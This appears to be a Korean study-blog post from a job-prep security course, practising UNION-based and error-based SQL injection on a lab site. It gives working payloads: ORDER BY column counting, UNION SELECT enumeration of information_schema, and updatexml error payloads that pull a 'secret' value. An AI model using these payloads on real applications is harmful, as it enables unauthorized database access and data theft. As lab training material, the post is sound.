W4_H1_UNION / ERROR BASED SQL INJECTION

·2023년 4월 25일

노말틱 취업스터디

목록 보기
12/16
post-thumbnail

💻 SQL injection 실습하기

✍️ UNION SQL injection 알고리즘

  1. SQL 질의문 종류 추측하기
  2. 취약점 확인하기
    아래의 질의문을 넣은 후 DB 결과값이 나온다면? SQL injection이 가능하다는 것!
and 1=1	// 항상 참이 되는 경우
  1. 컬럼의 개수 확인하기 => 수동
키값%' order by 컬럼넘버 #
  1. 데이터의 출력 위치 파악하기
    웹 페이지에 보여지는 컬럼이 무엇인지 파악하기
키값%' union select '1','2','3','4

// 실제 구문
WHERE name LIKE '%키값%' UNION SELECT '1','2','3','4%'
  1. 데이터베이스 이름 확인하기
SELECT DATABASE()

에러 메시지로 서버에서 사용하는 DB 종류 확인하기

  1. 테이블 이름 확인하기
SELECT table_name from 데이터베이스 이름.tables WHERE table_schema = '테이블 이름'
  1. 컬럼 이름 찾아내기
SELECT column_name from 데이터베이스 이름 WHERE table_name=''

//키값%' union select '1',column_name,'3','4' from 데이터베이스이름.columns WHERE table_name='' #
  1. 데이터 추출
SELECT 컬럼값 FROM 테이블 이름

//키값%' union select '1',column_name,'3','4' from 데이터베이스 이름 #

  • 주석 사용을 지양해야 하는 이유?
    다량의 데이터를 가져오다 서버나 DB에 문제가 생길 수도 있음

1. Union SQL injection

컬럼 개수를 꼭 확인하기 => order by 사용

  • 컬럼의 개수는 4개
  • 데이터베이스 이름 segfualt sql
  • 컬럼 이름 game, member, secret
  • secret 비밀 정보 획득

🔔 ONE MORE TIME ❗

  • MEMBER 테이블의 COLUMN 이름 확인하기
watch%' union select '1',column_name,'3','4' from information_schema.columns where table_name='member' #

  • MEMBER 테이블 내 info에서 데이터 추출
watch%' union select '1',info,'3','4' from member #

2. Error Based SQL injection

DB 에러 메시지가 화면에 출력될 때 사용하는 SQL injection
-> 에러메시지를 통해 DB 종류를 알 수 있음

  1. SQL 쿼리문 추측하기
    SELECT ____ FROM _____ WHERE id=' '

  2. DB 에러인지 확인

  3. ERROR based SQL injection
    문법 에러
    논리 에러 : 문법은 맞아야함

updatexml

1' and updatexml(null,concat(0x3a,(select 'test')),null) and '1'='1
  1. DB 이름 구하기
  2. 테이블 이름 구하기

LIMIT

limit [from where], [number of columns]
  1. 컬럼 이름
1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='secret' limit 0,1)),null) and '1'='1
  1. 데이터 추출
1' and updatexml(null,concat(0x3a,(select secret from secret limit 0,1)),null) and '1'='1

profile
화이트해커 엘입니다😉

0개의 댓글